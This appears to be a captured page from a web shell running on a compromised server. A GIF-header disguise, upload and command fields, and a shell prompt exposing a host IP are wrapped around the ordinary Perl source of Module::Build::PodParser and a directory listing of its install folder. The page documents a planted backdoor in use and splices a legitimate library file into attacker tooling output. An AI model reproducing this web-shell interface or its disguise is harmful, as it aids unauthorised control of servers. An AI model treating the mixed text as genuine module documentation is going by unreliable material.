GIF87a; 404

MY HEART

Upload:

Command:

diavoloapp@18.222.34.209: ~ $ 
package Module::Build::PodParser;

use strict;
use warnings;
our $VERSION = '0.4231';
$VERSION = eval $VERSION;

sub new {
  # Perl is so fun.
  my $package = shift;

  my $self;
  $self = bless {have_pod_parser => 0, @_}, $package;

  unless ($self->{fh}) {
    die "No 'file' or 'fh' parameter given" unless $self->{file};
    open($self->{fh}, '<', $self->{file}) or die "Couldn't open $self->{file}: $!";
  }

  return $self;
}

sub parse_from_filehandle {
  my ($self, $fh) = @_;

  local $_;
  while (<$fh>) {
    next unless /^=(?!cut)/ .. /^=cut/;  # in POD
    # Accept Name - abstract or C<Name> - abstract
    last if ($self->{abstract}) = /^ (?: [a-z_0-9:]+ | [BCIF] < [a-z_0-9:]+ > ) \s+ - \s+ (.*\S) /ix;
  }

  my @author;
  while (<$fh>) {
    next unless /^=head1\s+AUTHORS?/i ... /^=/;
    next if /^=/;
    push @author, $_ if /\@/;
  }
  return unless @author;
  s/^\s+|\s+$//g foreach @author;

  $self->{author} = \@author;

  return;
}

sub get_abstract {
  my $self = shift;
  return $self->{abstract} if defined $self->{abstract};

  $self->parse_from_filehandle($self->{fh});

  return $self->{abstract};
}

sub get_author {
  my $self = shift;
  return $self->{author} if defined $self->{author};

  $self->parse_from_filehandle($self->{fh});

  return $self->{author} || [];
}

Filemanager

DIR : / usr/ local/ share/ perl5/ Module/ Build/
Name Type Size Permission Actions
Platform Folder 0755
API.pod File 67.14 KB 0444
Authoring.pod File 10.75 KB 0444
Base.pm File 161.5 KB 0444
Bundling.pod File 4.99 KB 0444
Compat.pm File 18.85 KB 0444
Config.pm File 1.08 KB 0444
ConfigData.pm File 6.68 KB 0444
Cookbook.pm File 16.93 KB 0444
Dumper.pm File 454 B 0444
Notes.pm File 8.12 KB 0444
PPMMaker.pm File 4.43 KB 0444
PodParser.pm File 1.27 KB 0444
Tiny.pm File 9.17 KB 0444